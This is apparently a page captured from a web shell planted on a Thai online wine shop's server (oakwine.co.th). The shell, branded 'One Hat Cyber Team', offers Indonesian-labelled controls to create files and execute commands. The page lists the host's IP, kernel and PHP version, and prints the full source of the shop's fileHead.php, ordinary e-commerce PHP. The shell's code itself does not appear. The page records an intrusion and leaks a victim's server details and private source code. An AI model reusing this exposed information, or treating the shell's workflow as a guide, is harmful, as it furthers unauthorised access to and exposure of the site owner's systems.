One Hat Cyber Team
Your IP :
216.73.216.1
Server IP :
27.254.111.200
Server :
Linux wh-sh59.csloxinfo.com 3.10.0-693.5.2.el7.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC 2017 x86_64
Server Software :
Apache
PHP Version :
5.5.38
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
vhosts
/
oakwine.co.th
/
httpdocs
/
View File Name :
fileHead.php
<?php ob_start(); error_reporting(E_ALL); ini_set('display_errors', 1); date_default_timezone_set('Asia/Bangkok'); include_once("src/lib/system/createLink.php"); SYS::DOMAIN("OPDB"); SYS::DOMAIN("Like_product"); SYS::DOMAIN("Tags"); if($_SERVER['HTTPS']!="on"){ $redirect= "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; header("Location:$redirect"); } //SYS::ADDFUNCTION("remoteFunction"); $likeProduct = new Like_product(); $opdb = new OPDB(); $page = isset($_GET['page']) ? $_GET['page'] : null; $_SESSION["lang"] = "EN"; if (isset($_COOKIE['remote'])){ $_COOKIE['remote'] = $_COOKIE['remote']; }else{ $_COOKIE['remote'] = setcookie("remote", time(), time() + (86400 * 30), "/"); } /*$test = isset($_GET['test']) ? $_GET['test'] : null; if ($test){ $_SESSION['test'] = "test"; } if (!isset($_SESSION['test'])){ header("location:close.php"); }*/ $tagsInstanceList = new Tags(); $keywords=""; $ccss=""; foreach($tagsInstanceList->listBy() as $tagsInstance){ $keywords.=$ccss."".$tagsInstance->keyword; $ccss=", "; } $keywords.=$ccss; //SYS::ADDFUNCTION("leng"); $hostname = parse_url($_SERVER['SERVER_NAME'])['path']; if ($hostname=="www.wineddthailand.com" || $hostname=="wineddthailand.com"){ header( "location: http://www.oakwine.co.th/"); exit(0); } ?> <!DOCTYPE html> <!--[if IE 8]> <html lang="en" class="ie8"> <![endif]--> <!--[if IE 9]> <html lang="en" class="ie9"> <![endif]--> <!--[if !IE]><!--> <html lang="en"> <!--<![endif]--> <head> <title>ขายไวน์ Oakwine.co.th | Best Online Wine Cellar</title> <!-- Meta --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <?php echo '<meta name="keywords" content="'.$keywords.'">'; ?> <meta name="description" content="ขายไวน์ออนไลน์ ไวน์งานเลี้ยง สินค้าคุณภาพดี พร้อมจัดส่ง เครื่องดื่มไวน์สำหรับจัดงานเลี้ยง งานแต่ง ใช้ไม่หมดยินดีรับคืน รับซื้อไวน์ แชมเปญ วิสกี้ ให้ราคาสูง"> <meta name="author" content=""> <!-- Favicon --> <link rel="shortcut icon" href="favicon.ico"> <!-- Web Fonts --> <link rel='stylesheet' type='text/css' href='//fonts.googleapis.com/css?family=Open+Sans:400,300,600&subset=cyrillic,latin'> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"> <!-- CSS Global Compulsory --> <link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/style.css"> <link rel="stylesheet" href="assets/css/shop.style.css"> <!-- CSS Header and Footer --> <link rel="stylesheet" href="assets/css/headers/header-v5.css"> <link rel="stylesheet" href="assets/css/footers/footer-v4.css"> <!-- CSS Implementing Plugins --> <link rel="stylesheet" href="assets/plugins/animate.css"> <link rel="stylesheet" href="assets/plugins/line-icons/line-icons.css"> <!-- <link rel="stylesheet" href="assets/plugins/font-awesome/css/font-awesome.min.css"> --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> <link rel="stylesheet" href="assets/plugins/scrollbar/css/jquery.mCustomScrollbar.css"> <link rel="stylesheet" href="assets/plugins/owl-carousel/owl-carousel/owl.carousel.css"> <link rel="stylesheet" href="assets/plugins/revolution-slider/rs-plugin/css/settings.css"> <link rel="stylesheet" href="assets/plugins/sky-forms-pro/skyforms/css/sky-forms.css"> <link rel="stylesheet" href="assets/plugins/sky-forms-pro/skyforms/custom/custom-sky-forms.css"> <!-- CSS Theme --> <link rel="stylesheet" href="assets/css/theme-colors/default.css" id="style_color"> <link rel="stylesheet" href="assets/css/pages/page_search.css"> <!-- <link rel="stylesheet" href="assets/css/theme-colors/teal.css" id="style_color"> <link rel="stylesheet" href="assets/css/theme-colors/dark-red.css" id="style_color"> <link rel="stylesheet" href="assets/css/theme-skins/dark.css"> --> <script src="assets/plugins/jquery/jquery.min.js"></script> <!-- CSS Customization --> <link rel="stylesheet" href="assets/css/custom.css"> <style type="text/css" media="screen"> @media (min-width: 1248px){ .modal-lg { width: 1140px; } } </style> </head> <body class="boxed-layout container header-fixed"> <!-- <body class="dark boxed-layout container"> --> <div id="" style="display: none;"></div> <div class="wrapper"> <!--=== Header v5 ===--> <div class="header-v5 header-static"> <!-- Topbar v3 --> <div class="topbar-v3"> <!-- <div class="search-open"> <div class="container"> <input type="text" class="form-control" placeholder="Search"> <div class="search-close"><i class="icon-close"></i></div> </div> </div> --> <div class="container"> <div class="row"> <div class="col-sm-6"> <!-- Topbar Navigation --> <ul class="left-topbar"> <li> <a href="http://line.me/ti/p/~oaksena18" target="_blank" style="padding-right: 5px;"> <img class="line-img" style="height: 14px" src="src/images/line-brands-white.svg" alt=""> oaksena18 </a> <a href="tel:0816288557"> <i class="fa fa-phone-square" aria-hidden="true"></i> 081-628-8557 </a> <!-- <img style="height: 28px;fill: #FFFFFF;" src="src/images/line-brands.svg" alt=""> --> <!-- <ul class="language"> <li class="active"> <a href="#">English (EN)<i class="fa fa-check"></i></a> </li> <li><a href="#">Spanish (SPN)</a></li> <li><a href="#">Russian (RUS)</a></li> <li><a href="#">German (GRM)</a></li> </ul> --> </li> </ul> <!--/end left-topbar--> </div> <div class="col-sm-6"> <ul class="list-inline right-topbar pull-right"> <li><a href="index.php?page=Order_shop/orderList">Order history</a></li> <?php if (!isset($_SESSION['member'])){ ?> <li><a href="index.php?page=Member/login">Member Login/Register</a></li> <?php }else{ ?> <li><a href="index.php?page=Member/account">Account</a></li> <li><a href="index.php?page=Member/account&action=logout">Logout</a></li> <?php } ?> <!-- <li><i class="search fa fa-search search-button"></i></li> --> </ul> </div> </div> </div><!--/container--> </div> <!-- End Topbar v3 --> <!-- Navbar --> <div class="navbar navbar-default mega-menu" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-responsive-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="index.php"> <img id="logo-header" src="src/images/logo.png" alt="Logo" style="height: 48px;"> </a> </div> <?php SYS::DOMAIN("Product"); SYS::DOMAIN("ProductImg"); $productInstance = new Product(); $_SESSION['cart'] = isset($_SESSION['cart']) ? $_SESSION['cart'] : array(); $totalPrice = 0; $totalTax = 0; ?> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse mega-menu navbar-responsive-collapse"> <!-- Shopping Cart --> <ul class="list-inline shop-badge badge-lists badge-icons pull-right"> <li> <a href="#"><i class="fa fa-shopping-cart"></i></a> <span class="badge badge-sea rounded-x"><?php echo count($_SESSION['cart']); ?></span> <ul class="list-unstyled badge-open mCustomScrollbar" data-mcs-theme="minimal-dark"> <?php foreach($_SESSION['cart'] as $products){ $productInstance->get($products["id"]); // $productImg = $productInstance->instance("productImg", array("order"=>"id")); $productImg = $productImg[0]; $productImg = (object) array("picture"=>"product.jpg"); $totalPrice+=$products['price']*$products['num']; $totalTax+= $products['send']*$products['num']; ?> <li> <img src="<?php echo CREATELINK::FILE('ProductImg/picture/'.$productImg->picture); ?>" alt=""> <button type="button" class="close" onClick="window.location='?page=Product/cart&action=del&id=<?php echo $productInstance->id; ?>'">×</button> <div class="overflow-h"> <span><?php echo $productInstance->nameEn; ?></span> <small><?php echo $products['num']; ?> x ฿<?php echo number_format($products['price']); ?></small> </div> </li> <?php } if ($totalPrice>0){?> <li class="subtotal"> <div class="overflow-h margin-bottom-10"> <span>Subtotal</span> <span class="pull-right subtotal-cost">฿<?php echo number_format($totalPrice); ?></span> <!-- <span class="label label-danger rounded" style="color: #FFFFFF;font-size: 12px;float:left">** Including VAT 7% ago</span> --> </div> <div class="row"> <div class="col-xs-6"> <a href="index.php?page=Product/cart" class="btn-u btn-brd btn-brd-hover btn-u-sea-shop btn-block">View Cart</a> </div> <div class="col-xs-6"> <a href="index.php?page=Order_shop/addressSend" class="btn-u btn-u-sea-shop btn-block">Checkout</a> </div> </div> </li> <?php } ?> <?php if (count($_SESSION['cart'])<=0){?> <li> <div class="alert alert-warning alert-dismissible fade in text-center" role="alert"> <h1>No Item!</h1><br> </div> </li> <?php } ?> </ul> </li> </ul> <!-- End Shopping Cart --> <!-- Nav Menu --> <?php include_once("view/Layout/menu.php"); ?> <!-- End Nav Menu --> </div> </div> </div> <!-- End Navbar --> </div> <!--=== End Header v5 ===-->